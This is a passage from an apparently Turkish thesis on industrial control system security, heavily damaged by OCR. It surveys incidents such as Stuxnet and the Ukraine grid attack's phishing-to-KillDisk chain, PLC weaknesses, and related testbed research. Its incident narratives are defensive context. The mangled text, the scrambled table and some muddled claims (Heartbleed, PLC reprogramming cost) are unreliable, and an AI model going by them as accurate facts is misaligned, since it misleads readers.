York'a giden bolgesel tren seferlerini iki saatten, uzun mesafe trenlerini ise dort ila alt1 saat

arasinda degisen gecikmelere neden olmustur [80, 102].

3.5.4. Davis-Besse

ABD Niikleer Diizenleme Komisyonu, Oak Harbor, Ohio'daki bos Davis-Besse niikleer
enerji santralinde 6zel bir bilgisayar agimin, Ocak 2003 - Agustos 2003 tarihi aralifinda
Microsoft Yapilandirilmig Sorgu Dili (SQL) sunucusunun Slammer solucani tarafindan
enfekte edildigini bildirmistir. Bu giivenlik olay1 neticesinde, giivenlik izleme sistemi

yaklasik bes saat boyunca devre dis1 kalmustir [80, 103]

3.5.5. ABD kuzeydogu elektrik kesintileri

First Energy'nin kontrol odas1 operatorleri, Agustos 2003’de SCADA sisteminde yer alan
bir alarm islemcisinde olusan bir problem nedeniyle ariza tespiti yapamadigini, bu nedenle
de elektrik sebekesinde olusan kritik operasyonel degisiklikleri merkeze iletmedigini
bildirmislerdir. Bu durum, sebekenin kontrolsiiz bir basamaklama hatasina, yani 265
santral ile ilgili ilave 345kV ve 138kV hatlarinin asir1 yiiklenmesinden kaynaklanan 61.800
megavat (MW) yiik kaybina neden olmustur [80, 104].

3.5.6. Zotob solucani

DaimlerChrysler'in ABD'deki otomobil iiretim tesisleri, 13' Agustos 2005°de, Zotob adi
verilen solucan nedeniyle ¢evrimdisi kalmistir. Bu siire zarfinda BT isletmenleri, viriis
bulagsmis Microsoft Windows sistemlerimi giincellestirmekte zorlanmislardir. Indiana,
Michigan, Illinois, Wisconsin, Delaware ve Ohio'daki fabrikalarin iiretimi durmustur.
Solucan Windows XP'nin bazi eski siirimlerini etkilese de, oncelikle Windows 2000
sistemlerini hedef almistir. Solucanin belirtilerinden en dikkat ¢ekenleri; bilgisayarlarin
kendini siirekli olarak kapatarak, tekrar baslatilmasi oldugu belirtilmistir. Zotop ve onun
tirevi solucanlar nedeniyle DaimlerChrysler’in yani sira, ABD'li birkag biiyiik haber
kurulusu, ugak iireticisi Boeing ve agir ekipman iireticisi Caterpillar Inc.'in bilgisayar

sistemlerinde kesintiler yasanmustir [105].
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3.5.7. Taum Sauk su deposu baraji

Taum Sauk Su Depolama Baraji'ndaki bir felaket arizasi, Aralik 2005°de bir milyar galon
suyun istem dis1 bosaltilmasina neden olmustur. Olay, Taum Sauk tesisini uzaktan izleyen
ve igleten Ozarks Golii'ndeki Osage tesisindeki goOstergelerin barajin degerleri dogru
yansitmamasi sonucunda, Sisteme asir1 yiik bindirilmesi ve geri pompalama operasyonunun

devreye alinamamasindan kaynaklanmistir [106].
3.5.8. Stuxnet solucam

Stuxnet, ilk olarak Temmuz 2010'da siniflandirilmig ve santraller gibi endiistriyel tesislerin
kontroliinii ele gecirmek i¢in EKS'yi hedef aldig1 tespit edilmistir. Zararlinin en muhtemel
hedefinin endiistriyel casusluk oldugu diistiniilmektedir. Stuxnet zararlis1 iki farkli saldirt
rutinini icermektedir. Her iki saldir1 da santrifiij rotorlarina zarar vermeyi amaglamis, ancak
farkl1 taktikler kullanilmistir. Ilk saldir santrifiijleri asir1 basinglandirmaya calisirken, ikinci
saldiri, santrifiij rotorlarini asirt hizlandirmaya ve kritik (rezonans) hiz esigine itmeye

calismugtir [107].

Stuxnet solucani, ilk sofistike ve potansiyel olarak en tehlikeli EKS saldirilarindan
birisidir. Stuxnet’ten dnceki ¢ogu zararli kullaniminin hedefi veri sizintis1 iken, Stuxnet'in
amaci Iran niikleer santrifiijlerini yok etmek ve zararli kodu belirli Siemens kontroldrlerini

tespit ettiginde dondiiriilemez bir hasara neden olan saldiriy1 baslatmaktir [15].

Stuxnet, daha once kullanilmis herhangi bir solucandan ¢ok farkliydi, ¢iinkii hedefi kritik
fiziki altyapiydi. Slammer, blaster ve conflicker gibi eski solucanlar fiziksel varliklari
etkilemis olabilir, ancak yarattiklar1 etki daha ¢ok ag tikanikligina dayanmaktaydi. Stuxnet
ise bilgisayar sistemlerinde kalabilir ve arzulanan hedefi bulup saldirana kadar hicbir sey
yapmadan bekleyebilmekteydi. Solucan ilk olarak 2009 yilinda kesfedilmis ve Iran'daki
Natanz'daki bir uranyum zenginlestirme kompleksinde yer alan kontrol sistemlerini
etkiledigi ve bunlarin santrifiijlerine zarar verdigi bildirilmistir. Saldirganin kim oldugu
heniiz acik olmamakla birlikte, cogu kaynak ABD Hiikiimeti'nin Israil Hiikiimeti ile birlikte
oldugunu iddia etmektedir [108]. Stuxnet, fiziksel olarak aga Evrensel Seri Veri Yolu (USB)

veya bagka bir ortam vasitasiyla yerlestirilmesi gereken izole bir aga niifuz etmistir. Stuxnet,
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en Onemli devlet destekli siber saldirilardan birisi olarak bilinir ve hedef sistemde fiziksel

hasar olusturmasi nedeniyle siber saldirilar kapsaminda yeni bir kategori olusturmustur.

3.5.9. Heartbleed

Heartbleed, Google Security ve Codenomicon'da calisan giivenlik miihendisleri ekibi
tarafindan kesfedilen bir Kavramsal Kanit (Proof of Concept-PoC) kullanim koduna dayali
giivenlik acgigidir. OpenSSL’de kullanilan 6zel SSL (Secure Sockets Layer) anahtarlar1 "
Tasima katmani gilivenligi / veri birimi aktarim katmani giivenligi" (TLS / DTLS)
kusurundan dolay1 agiklig1 vardir. Heartbleed giivenlik acig1 ilan edildikten sonra ilk 14
giin i¢inde tarama ve / veya istismar faaliyetine iliskin emare tespit eden/ gézlemleyen on
iki EKS sahibi / operatorii vardi. Exploit kamuya agiklandigindan itibaren tarama ve / veya

istismar gerceklestirdigi bilinen 200'den fazla kaynak IP adresi tespit edilmistir [109].

3.5.10. Ukrayna gii¢ sebekesi saldirisi

23 Aralik 2015'te, Ukrayna elektrik sebekesinin bir kismi bilinmeyen bir kaynaktan gelen
basarili bilisim sistemleri korsanlig1 (hacking) saldirisindan dolay: elektrik kesintisi yasadi.
Saldir1 sonrasinda 225,000 miisterinin hizmeti kesildi. Ukrayna hiikiimeti, bu siber
saldiridan Rusya'y1 sorumlu tutmustur. ilk olarak, saldirganlar sistemlere erisim elde etmek
igin birden fazla teknik kullanmistir. Bu kapsamda, Mizrak oltalama (spear-phishing) e-
postalari, BlackEnergy 3 kotiiclil yazilimmin gesitleri ve manipiile edilmis Microsoft
Office belgelerini kullanmiglardir. Bu teknikler kullanilarak bilgisayar korsanlar1 EKS
agma erisebildi ve sistemin kontroliinii ele gegirebildiler. ikinci asamada, saldirganlar
sahadaki SCADA sistemleriyle baglanti kuran sistem {izerindeki kontrolleri kesen ve
operatoriin  sistemin  kontroliini  kaybetmesine neden olan HMI saldirisi
gergeklestirmislerdir. SANS dokiimani, bu saldirida araglardan ve uzmanliktan daha ¢ok
"ortam1 O6grenmenin ve daha senkronize, ¢ok kademeli, ¢ok bolgeli bir saldir1 yiiriitmek
igin gerekli uzun vadeli kesif islemlerini gergeklestirmenin" saldirganlarin en giiclii

yetenegi oldugunu belirtmistir [110].

Saldir1 esnasinda, saldirganlar BlackEnergy 3 kotiiciil yazilimmi gémmek suretiyle
Microsoft Excel ve Word belgelerini silah olarak kullanmislardir. BlackEnergy 3,

BlackEnergy kotii amagh yazilim ailesindeki iiglincii  varyant kotiiciiliidiir.
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BlackEnergy'nin ilk varyantt1 2007'de kesfedilmis ve bu siiriim Dagitik Hizmet Reddi
Saldirilarini destekleyen kole bilgisayarlar (Distributed Denial of Service Attacks (DDoS))
tiretmek i¢in kullanilmustir [111]. Ikinci tiirevi, birincisi ile ayn1 kabiliyete sahipti ve sistem
kaynaklarin1 zayiflatabiliyor ve ag trafigini izleyebiliyordu. BlackEnergy 3 ise bu
Ozelliklerin birgoguna sahiptir, ancak ayni zamanda Microsoft Office kullanan kisileri
hedef alabilmektedir. Microsoft Office, diinyadaki hemen her sirkette kurumsal ortamda
kullanilmaktadir ve bu nedenle saldir1 vektoriiniin kapsami oldukga genistir. BlackEnergy
3, klavye takip (keylogger), sifre calici, sistem yok etme ve ag tarama gibi ¢ok sayida

eklentiyi igermektedir.

Ukrayna saldirisinda, zararlinin bulasma yontemi, kimlik avi e-postasiydi. Enfekte edilen
dosyay1 operatdriin makinelerine gonderilip, operatdr tarafindan dokiiman acildiginda,
zararli kullaniciya makrolarin devre disi birakildigini gdsteren bir uyart mesaji ile
makrolar1 etkinlestirmeleri istemistir. Makrolar etkinlestirildiginde, kotli amagl yazilim

sistemi ele gecirip BlackEnergy 3 zararli yazilimini yiikleyip onu tehlikeye atabilmistir.

Saldirgan sistem iizerinde kontrolii sagladiginda, saldirinin yonetimi ve etkinlestirilmesi
stireci baslamistir. Bu siirecte, kotli amagh yazilim bilgisayarlara yiiklendikten sonra,
saldirganlarin enfekte sistemlere uzaktan erismesini saglayan komuta ve kontrol sistemleri
ile bir baglant1 acilmaktadir. Uzaktan erisim elde edildikten sonra, saldirganlar kullanici
kimlik bilgilerini aldiktan sonra ayricalikli hesaplara eriserek yetki yiikseltimi yapmislardir
[112]. Saldirmin son evresi ise EKS agina saldirmin gergeklestirilmesini, yiiklenmesini ve
yuriitiilmesini igermektedir. Bu asamada saldirganlar EKS agina erisim elde etmek icin
sanal ozel ag (VPN) kullanmislardir. Ardindan KillDisk yazilimi sayesinde is
istasyonlarini, sunucular1 ve bazi HMI'lar1 silmisler ve iz bilgisi birakmamak i¢in diger
makinelerde de giinliikleri kayitlarini (log) ve olaylar1 silmislerdir. Saldir1 sonucunda, en

az 27 trafo ve 225.000 miisterinin etkilendigi belirtilmistir [110].

EKS’ye yonelik kasith saldirilar veya SQL slammer solucami gibi kasitsiz saldirilar
nedeniyle kritik altyapilarda meydana gelebilecek 6nemli kesintiler sadece altyapinin kendi
degerinden ¢ok daha fazla ulusal capta ekonomik zarara yol agabilmektedir. Duggan
tarafindan 2005 yilinda gergeklestirilen bir calismada EKS’ye yonelik bir saldirinin

sonucunda;
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* EKS sebekeleri arasindaki bilgi akisiin durdurulmasi veya geciktirilmesi ile kritik
zamanli islevlerinin yerine getirilmesi engellenebilir,

 Talimatlar, komutlar veya alarmda yetkisiz degisiklikler ile donanima zarar verebilecek
veya devre dis1 birakabilecek ya da kapatabilecek esik degerler atanabilir (Stuxnet),

* Cevresel olumsuz sonuglar yaratabilir ve / veya insan hayatini tehlikeye atabilir,

+ Sistem operatorlerine yanlis bilgilendirmeler gonderilebilir,

* EKS yazilimi1 veya yapilandirma ayarlar1 degistirilebilir,

« Insan hayatini tehlikeye atabilecek giivenlik sistemlerinin ¢aligmasina miidahale

edilebilir [113].

Endiistriyel Kontrol Sistemlerinin yonettigi altyapilarin tilkeler i¢in kritikligi ve hassasiyeti,
siber terérizm ve siber savasin oncelikli hedeflerinden biri haline getirmistir. Bu nedenle,
endiistriyel kontrol sistemlerinde kullanilan protokollerde (ModBUS, Profinet, DNP3, vb.)
ve bilesenlerde (PLC, HMI, RTU, MTU, vb.) var olan agikliklarin ortaya ¢ikarilmasi igin
derinlemesine analiz edilmesi hayati onemlidir [114]. Ancak bu sayede tespit edilen
acikliklara 6nlem alinmasi ve saldirganlar tarafindan tekrar istismar edilmesinin énlenmesi

saglanabilecektir [61, 115, 116].

Endiistriyel kontrol sistemlerinde olusan agikliklar Duggan’in ¢alismasinda da ele alindigi
lizere, saldirganlarin aga sizmalarina, kontrol yazilimlarina erismelerine ve sistemlerin
calisma kosullarim1  degistirerek, istenmeyen biiylikk zararlarin olusmasina neden
olabilmektedir [33, 113]. Agin gizli tutulmasi, kullanilan tim baglantilarin sadece ilgili
kurum ve kurulusa ait olmasi, yetkisiz girislerin (6zellikle de Internet tabanl1) engellenmesi
acisindan olduk¢a faydali olabilecektir. Ancak birbirine bagli aglarin kullanilmasinin
neredeyse zorunlu oldugu giiniimiizde s6z konusu “izole” bir ag ile sistemlerin yonetilmesi
miimkiin degildir [117]. Ust béliimde yer alan EKS’ye yonelik saldirilar, yasanan giivenlik
olaylarina sadece 6rnek olmasi amaciyla belirtilmistir. EKS’ye gerceklestirilen saldirilarin
onemli bir bolimi ise koti {in nedeniyle bir¢ok ilke tarafindan kamuoyuna

aciklanmamaktadir.
3.6. EKS’de Yama ve Giincelleme

Bilinen giivenlik agiklar1 olan sistemler tipik olarak yazilim gelistiricileri ve saticilari

tarafindan yapilan yazilim yiikseltmeleri ile "yamali" hale getirilmektedir. Gilivenlik
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yaziliminin giincellemelerinin yiiklenmesi, endiistriyel sistemlerin giivenligini saglamak
i¢in ¢ok onemlidir ancak EKS’lerde "diizeltme eklerinin zamaninda uygulanmasi miimkiin
olamamaktadir. EKS gilivenlik yamalari, EKS’nin yonettigi altyapinin stirekliligini
saglamak maksadiyla, uygulanmadan Once sistem hatalar1 veya kesintileri icin tamamen
sinanmas1 gerekmektedir. Yazilim gelistirici ve saticilar tarafindan desteklenmeyen (end
of life) EKS bilesenleri, giivenlik yamalar1 gelistirilmemesi nedeniyle sOmiirliye ugrama
riski altindadir. 2006 Carnegie Mellon deneysel analizi, yazilim yamalar1 yayinlandiktan
sonra siber saldirilarin arttigini ve bunun da, diizeltilmemis sistemlerin daha fazla somiirii
riski tasidiklari anlamina geldigini tespit etmistir [118]. Bunun sonucunda da, EKS
sistemleri (Hem SCADA hem de DCS altyapilari) siber saldirganlar tarafindan fidye i¢in
hirsizlik, hirsizliga karst hacking, parasal amacli korsanlik, siber terérizm ve siber savas

amagli hedef alinmaktadir [119].

EKS sistemlerinde kullanilan yazilimlarin yamalarina iliskin Igure, Laughter ve Williams
(2006), en yeni iriin bilgisi, giincelleme ve yamalarla diizenli olarak korunmasi
gerektigini, ancak bu siiregte "en son diizeltme eklerinin" uygun bir inceleme siirecinden
sonra uygulanmasi gerektigini savunmaktadirlar. Uygun inceleme siireci, yamalarin benzer
bir EKS {izerinde ¢evrimdis1 olarak test edilmesini gerektirmektedir [97]. Stouffer, Falco
ve Scarfone (2011) ise EKS'ye yama uygulanmasinin dogru prosediirlerini ve bu
prosediirlere uyulmamasi durumunda altyapimnin olumsuz yonde etkilenebilecegini
belirtmiglerdir. Calismalarinda, yamalarin gilivenlik agigin1 ortadan kaldirmak igin
kullanilabilecegini, ancak yama kullanilmasinin iiretim veya gilivenlik risklerine neden

olabilecegi iizerinde durmuslardir [80].

Isletim sistemlerinin  giivenlik aciklari, {ireticiler tarafindan  diizenli olarak
duyurulmaktadir. Yamalar normalde giivenlik aciklar1 tespit edildikten sonra
yayinlanmaktadir, ancak bu yayin siireci i¢in 6nemli bir zaman gecikmesi gerekebilir veya
yamalar ihtiyag¢ duyulan siire i¢inde uygulanamayabilir. 2010 yilinda tespit edilen Stuxnet'in

kullandig1 giivenlik agiginin yamasi 2012 yilinda piyasaya sunulmustur [13, 120].

3.7. PLC Giivenligi

PLC'ler, endiistriyel donanimlar1 ve bilgisayar donanimi ile arayiiz olusturan siiregleri

kontrol etmek i¢in kullanilan donanimlardir. Modern PLC'ler, giic kaynagi, mikroiglemci,
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dijital ve analog giris / ¢ikis ve bir iletisim biriminden olusan modiiler yapidadir. PLC'ler,
belirli proseslerin operasyonel kontroliinii saglayan EKS'de o6nemli bir bileseni
olusturmaktadir. PLC'ler, bir¢ok endiistriyel proseste, sistem veri girisine dayali énceden
programlanmis talimatlar saglamak i¢in yaygin sekilde kullanilmaktadir. Enerji sektoriinde
PLC'ler, herhangi bir sistemdeki akiskan hacmi, akis hiz1 ve basinci kontrol etmek i¢in sik
sik kullanilir. Proses limitlerini belirlemek i¢in girilen parametreler ile PLC,
programlamadan sonra insan miidahalesini en aza indirerek sistemin calistirilabilmesine
imkan saglar [80, 89]. PLC'ler, siralama, zamanlama ve sayma olmak iizere Onceden
belirlenmis fonksiyonlar1 yerine getirmek ic¢in kodlanmis talimatlari programlanabilir
hafizasinda saklayan ve yiiriiten mikroislemcileri kullanir [121]. PLC'ler esnek bir yapi
saglar ve degisiklikleri dahil etmek i¢in yeni modiiller ile kolayca genisletilebilir. Bir
PLC'nin yeniden programlanmasi oldukga kolaydir ve bu nedenle bir sistemdeki donanimi

modifiye etmekten daha maliyetlidir [122].

Kontrol miihendisleri PLC'y1 kapali dongii veya agik dongii islevselligi, ariza bulma ve
alan aygit1 iletisimi i¢in programlamak i¢in yazilim kullanmaktadir. 1993 yilinda kar amaci
giitmeyen Uluslararast Elektromekanik Komisyon (IEC), IEC 61131 olarak bilinen
programlanabilir mantik denetleyicisi programlama standardin1 yayimladi. Bu standart,
kontrol sistemleri, ladder diyagrami, sirali fonksiyon ¢izelgesi, fonksiyon blok diyagramu,

yapilandirilmis metin ve talimat listesi i¢in bes programlama dilini tanimlamaktadir [85].

Endistriyel kontrol sistemleri (EKS), {iretim ve kontrol siirecinin ayrilmaz bir bilesenidir.
Cagimmizin modern altyapilarinin ¢ogunlugunun yonetimi bu sistemlere dayanmaktadir.
Ancak giivenlik acisindan incelendiginde Endiistriyel Kontrol Sistemlerinin 6nemli bir
bileseni olan ve yukarida belirtilen 6nemli faaliyetleri gergeklestirerek insan hayatina
onemli katkilar saglayan PLC’lerin dis aglara ve dzellikle de Internet tabanl yapilara agik
bir mimari ic¢inde bulundugu goriilmektedir. PLC, 19601 yillarin basindan beri
kullanimdadir ve baslangigta otomatik endiistriyel proseslerin giivenilir ve giivenli bir
sekilde calismasi igin tasarlanmustir. Ik tasarimlarin yapildigi donemde, internet, tehdit
ajanlart veya kotiiciil yazilimlar olmadigi i¢in, giivenli yazilim ve iletisim protokolleri
mevcut degildi. Bu nedenle, giivenlik, EKS saha donanimlari i¢in bir gereksinim degildi.
Bu nedenle, EKS saha cihazlar tasarimlari geregi giivensizdir ve saha donanimlarinin en

onemlilerinden olan PLC'ler dogal olarak somiiriiye karst savunmasizdir.
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Bir PLC’nin giivenirliligi birgok bileseninin icraatlarina ve bu bilesenler arasindaki iletisime
dayanmaktadir. PLC’lerin temel yap1 tasi oldugu EKS’lerin iletisimini engellemek igin,
saldirganlar siber ortamdaki agikliklar sayesinde sistem bilesenlerine ve oOzellikle de
yonetim birimlerine erigerek, bu bileseni baska bir cihaz gibi yapilandirabilir veya bu cihaz

sayesinde yanlis veya sahte bilgiler gondererek sisteme 6nemli zararlar verilebilir.

TCP/IP protokolii kullanilan geleneksel Ethernet aglariin analizine yonelik calismalarin
sayist giinden giine artmaktadir. Bu c¢aligmalar sayesinde ag {izerinde paketlerin
yakalanmasi ve miiteakiben de yakalanan paketlerin yorumlanmasi saldir1 esnasinda veya
hemen sonrasinda 6nlem alinmasi i¢in olduk¢a onemlidir. Yakalanan paketler uygun bir
sekilde kayitlandigi siirece saldirilarin kaynaginin belirlenmesi i¢in tekrar tekrar analiz

edilebilirler.

Modern ag analizinde yaygin olarak kullanilan bir¢ok paket yakalama ve analiz yazilim ve
donanimi bulunmaktadir. S6z konusu donanimlarin ¢ogunlugu, TCP/IP protokoliine ait
paketlerin analizine odaklanmaktadir. Ancak a¢ik kaynak kodlu ve ticari ag analizi
donanimlariin oldukc¢a kisitli bir miktar1 SCADA basta olmak iizere endiistriyel kontrol

sistemlerinde kullanilan ModBUS, DNP3 gibi protokollerin analizine imkan vermektedir.

Bu nedenle ¢alismada, EKS’lerin onemli bilesenlerinden birisi olan PLC cihazinda
kullanilan protokollerin giivenlik agikliklarindan faydalanilarak, s6z konusu protokollerdeki
giivenligin nasil asildigimi bulmak amaciyla bir test ortami (Testbed) olusturulmustur.
Sinama ortaminda oncelikle, Ortadaki Adam (Man in the Middle-MitM), Hizmet Reddi
(Denial of Service-DoS), Port Tarama ve Baslat/Durdur (Start/Stop) saldirilari ile
endiistriyel kontrol sistemlerinin yonetim birimi olan PLC’nin ac¢iklig1 degerlendirilmistir.
Miiteakiben gerceklestirilen saldirilara iliskin paketler yakalanarak analiz edilmis ve
saldirilarin paternleri ¢ikarilmigtir. Bu sayede, agin saldirilardan en az zararla kurtariimasi

ve benzer saldirilarin engellenmesinde etkili olarak kullanilmasi hedeflenmistir.

3.8. Endiistriyel Kontrol Sistemi Giivenligine Yonelik Yapilan Benzer Calismalar

EKS’lerin giivenligine yonelik calismalarin bir bolimiinde benzetim modellerine dayali
analizlere odaklanilmigtir. Bu kapsamda Giani ve arkadaslari, EKS’lerin incelenmesine

yonelik degisik test ortamlarini dnermislerdir. Ilk test ortaminda Simulink Matworks, ikinci
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test ortaminda ise Omnet++ DEVS kullanilarak ag bilesenleri benzetim ortamina aktarilarak
saldirilar test edilmistir [123]. Oman ve Phillips ¢alismalarinda, benzetim modeli tabanli test
ortami tizerinden TELNET kacak girislerini incelemislerdir [124]. Byres, Hoffman ve Kube,
EKS’lerde kullanilan protokollerin komut satirlarindaki agikliklarin tespitini incelemislerdir.
Calisma sonucunda yiiksek seviyede acikliklar tespit edilerek, acil ¢oziim Onerilerinin alinmasi
Onerilmistir [125]. Genge, Graur ve Haller, EKS’lerin giivenligi {izerine yaptiklari ¢alismada;
benzetim sistemi tizerinde derinligine savunma stratejileri, ag bdlimlendirmesi, ag gilivenlik
duvant yapilandirmasi, IDS/IPS sistemleri ile anormallik tespit sistemi analiz edilmistir.
Calismanin saldir sonuclari, derinligine savunmanin kullanilmasinin énemini vurgulamisgtir
[126]. Sayegh, Chehab ve Elhajj ise benzetim sistemleri ile Omron PLC ve HMI donanimlari
ve bu donanimlarm kullandigi FINS protokoliiniin agikliklar1 test etmislerdir [127].
Simiilasyon ve modelleme teknikleri karmasik sistemleri modellemek ve test etmek igin
faydalidir. Gergekei modellerin gelistirilmesi, heniiz var olmayan veya insa edilmesi ¢ok
masrafli olan senaryolar olusturmaya yardimci olabilmektedir. Ancak benzetim sistemlerine
dayali ¢aligmalarin en biiyiik eksikligi, ger¢ek sistemi tam olarak yansitmanin zorlugu ve bu

nedenle yapilan analizlerin gergek sistemde de ayni sonuglari vermemesi ihtimalidir.

Endiistriyel Kontrol Sistemlerinin giivenligi kapsaminda yapilan ¢alismalarin diger bir kisni
ise gizlilige odaklanmaktadir. Li, Mao, Lai ve Qiu bu kapsamda yaptiklar1 ¢aligmada,
sikistirllmis  saya¢ okuyucu da rastgele sira numarast kullanarak gizliligi saglamayi
hedeflemislerdir [128]. Kalogridis ve digerleri ¢alismalarinda, evlerde cihazlarin kullandig1
gii¢ tliiketimini gizlemek i¢in, ev ylik imzalarin belirten ev elektrik giic yonlendirme semasi
kullanmuglardir [129]. Shi ve Perrig bu dogrultuda yaptiklar1 ¢alismalarinda, SHA-1 veya
HMAC-SHA-1 ve RSA gibi sayisal imzalar1 da iceren bircok ara¢ kimlik dogrulama ve
biitlinliigii saglayan 6zet (hash) ve anahtarlanmig 6zet (keyed hash) araglarinin kullanilmasini
onermiglerdir [130]. Yukaridaki ¢6ziim onerileri genellikle anahtar yonetimini de kapsayan
kriptografi teknolojilerine dayanmaktadir. Ancak giinlimiizdeki endiistriyel kontrol sistemi

sebekelerinin milyonlarca donanimi barindiran yiizlerce kurumu kapsadigi dikkate alindiginda

bu ¢6ziim Onerilerinin pratikte uygulanmasinin zorlugu daha iyi anlasilabilmektedir.

Klick, Lau, Marzin, Malchow ve Roth yaptiklar1 ¢calismada, PLC yazilimini olan Statement
List (STL)’1 kullanarak zararli kod enjekte etmislerdir. Bu sayede, PLC iizerinden SNMP
(Simple Network Management Protocol-Basit Ag Yonetim Protokolii) paketleri gondererek

endiistriyel kontrol sistemi ag1 ile ilgili bilgileri toplamay1 ve miiteakiben de zararli kod
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enjekte edilen PLC’yi Proxy olarak kullanarak agin diger bilesenlerine niifuz etmeyi
hedeflemislerdir. Calismanin sonucunda, PLC’lerin endiistriyel kontrol sistemi i¢inde
zafiyet degerlendirmesinin yapilmasin ve aga bu donanim iizerinden erisebilecegi dikkate

alinarak, siirekli izlenmesi onerilmistir [131].

EKS’lere kars1 gerceklestirilen saldirilara karst Guan, Graham ve Hieb yaptiklar1 calismada,
erisebilirlik matrisi ve seviye boliimlendirmesi ile risk degerlendirme siirecinin
tamamlanmasini miiteakip risk azaltma siirecinde ilk miidahale edilecek varliklarin tespit
edilerek, olas1 bir risk ya da problem durumunda tepki siiresinin kisalmasi ve sistemlerin
alacagi hasarin en aza indirilmesi hedeflenmistir [132]. Hata tespitinde erisebilirlik matrisi
kullanilmadigi durumlarda hata kaynagi olarak yanlis bilesen belirlenebilmekte ve hata

giderme siireci uzayabilmektedir [133].

Urias, Van Leeuwen ve Richardson ¢alismalarinda, yaygin endistriyel kontrol
sistemlerinden olan Denetleme Kontrolii ve Veri Elde Etme (Supervisory Control and Data
Acquisition- SCADA) sistemlerinin siber saldirilara kars1 daha giivenli hale gelmeleri igin
acikliklarin tespiti ve bu acikliklar1 engellemek igin alinmasi gereken Onlemlerin

belirlenmesi maksadiyla gelistirilen sinama ortamini ele almiglardir [57].

EKS’ye yonelik yapilan diger ¢alismalar, inceleme odagi, kullanilan araglar ve uygulama ile
simiilasyon ¢ergeveleri, stnama ortamlar1 ve risk degerlendirme teknikleri dikkate alinarak
olusturulan 6zet tablo Cizelge 3.2'de verilmistir. Cizelge incelendiginde; EKS’ye yonelik
gerceklestirilen ¢aligmalarin biiyiik bir boliimiiniin simiilasyon ve emiilasyon sitemlerine
yonelik oldugu, gercek sistemlerin yer aldigi uygulamlarin ise oldukc¢a sinirli oldugu
goriilmektedir. Kritik altyapilar basta olmak {izere, toplum yasantis1 i¢in 6nemli olan
sistemlerin yonetiminde kullanilan EKS’lere yonelik gerceklestirilebilecek saldirilar
sonucunda, sistemlerde meydana gelebilecek zararlar ve alinmasi gereken tedbirlerin
belirlenmesi i¢in gercek sistem bilesenlerinin analizinin yapilmasi olduk¢a 6nemlidir. Bu
nedenle, ¢alismanin 4. Boliimiinde gergek sistemlerin yer aldigi sinama ortamina (Testbed)

yonelik saldir1 ve tespit analizlerine yer verilmistir.
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Cizelge 3.2. EKS giivenlik ¢alismalar1 (Inceleme odags, kullanilan araglar ve uygulama ile
simiilasyon ¢ergeveleri, test yataklar1 ve risk degerlendirme teknikleri)

. . Odak Kullanilan
Kategori Alt kategori Uygulama Atf
g g (Hedef Saldirn) Araglar Y
SCADASIM Diizenleyici izleme |ADACS Su Altyapisi [133]
Akally Sayac,
SCADASIM DDoS, Aldatma OMNET++ Riizgar ~ Enerji| [134]
(Spoofing) Saldirilar .
Santrali
Giivenlik
MALsim degerlendirmesi igin JADE tabanly Giig Sistemleri [135]
s el e MAIsim
kétiiciil simiilasyonu
Simiilasyon CIM. GridLab-D
. . , GridLab-D,
Calismalari ?éos_;?lg]lb?;ﬁgﬂ) aAnl;llliléisebeke bilesen AKKA, Giig Sistemleri [136]
EclipseSCADA
SCADA ve
Framework simiilasyon EngSB Yazilim Prototipi | [137]
entegrasyonu
e Bir santralde
Framework Koti am'fu;h yaziim |MATLAB, Stuxnet, 3, 97]
denemesi Emulab
Tennessee-Eastman
TrueTime Amerikan Gaz
Simiilasyon DoS (MATLAB/Simul |Istirak Raporu| [138]
ink) No. 12
Donanim
- FINS protokoliiniin ’ .|Omron PLC wve
Simiilasyon acikliklar yam_h_m, anomali HMI [126]
tespiti
?1E§rtlr(§;mulasyon, HMI saldirisi i¢in Donanim, Sandia Ulusal
(eymulation) Anomali tabanli yazilim, anomali | Laboratuvarlarinda | [117]
d ' tespit, DoS tespiti SCADA sistemleri
onanim)
%Ill‘t(){ilrtn(;lmulasyon, HMI saldirisi igin OPNET, égizvor;ait ind
?eymulatign) Anomali tabanl PowerWorld, Bi efsr esz eGﬁ [2]
Testbed ' tespit, DoS ASPS yoster ¢
donanim) Sebekesi
Pedogoji Modbus, HMI Donanim, Cesitli endiistriyel 2]
yazilim, Snort uygulamalar
s Donanim,
Izinsiz Giris ve Haberlesme; . yazihm, anomali PowerCyber [139]
Savunma protokolleri ve aglar . testbed
tespiti
Giig Kontrol
L . Sistemleri -
}I_s(t)atll;:#;sel Ver DoS, veri kayitlama | Veri Istatistikleri | Esneklik Testi [140]
P CESI RICERCA
Laboratuvari
e - [59]
Saldir DoS, Bitinliik, Simiilasyon Simiilasyon tabanli

Oltalama

Oornekleme
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Cizelge 3.2. (devam) EKS giivenlik ¢alismalar1 (Inceleme odagi, kullamlan araglar ve
uygulama ile simiilasyon cercgeveleri, test yataklar1 ve risk degerlendirme
teknikleri)

. . Odak Kullanilan
Kategori Alt kategori Uygulama Auf
g g (Hedef Saldirr) | Araglar yd
Simulink/Stateflo Tennessee
< - w, HLA, NS2, .
Haberlesme Ag1 | DDoS, Ag OPNET, Efastman kimyasal | [141]
OMNeT++ sureg
SCADA 2, Modbus
Testhed Saldir DDoS simiilatorii, GNS3 Genel uygulama [141]
Modbus TCP/IP, ire:etlmna Agik
Sanal Makine DDoS, Hatali veri £ '§l o Su deposu sistemi | [142]
enjeksiyonu Mulatoru,
Python,
Kagak TeSp 1, RTU’lar Snort, Perl, XML | Elektrik trafosu [123]
Olay Yonetimi
. - HMM, 1M, .
Olasilik Risk tahmini RERM Genel sistem [143]
Modelleme Kontrol Sistemleri | NSRM Petrol - boru hatts [144]
. pompa Istasyonu
Risk . | Erisebilirlik
degerlen- |Modelleme Kontrol Sistemleri | - Aritma sistemi [131]
dirmesi . _
Saldir1 Diyagrami1 | Bayesian ag MTTC, CVSS IEEE RTS79 [145]
Saldiri Agact Agiklik = Agiklik indeksi | Kontrol Merkezi | [146]
degerlendirmesi
Saldir1 Agaci Izinsiz Giris Colored Petri Net SCADA — durum [147]
calismasi
Hatali siralama |; . . .. MATLAB/ . . .
mantik saldiss Izinsiz Girig simulink Ug tank sistemi [148]
Zararl Yazilim . Glig Santrali
Saldirilar Modbus MAlsim testbed [11]
Snort, OSSIM - Hgiile edilmi
Test bed Modbus TCP OpenVAS, ¥ [149]
PLC
Sebekd
Kali Linux, Snort, | Yazilim simiile
Simiilasyon |MitM IEC 60870-5-104 WinPP104, laboratuvari, [150]
Qtester testbed
Grafik Modbus “C” Dili Tennessee Eastman | g1,
kimyasal siire¢
Gergek Zamanlh
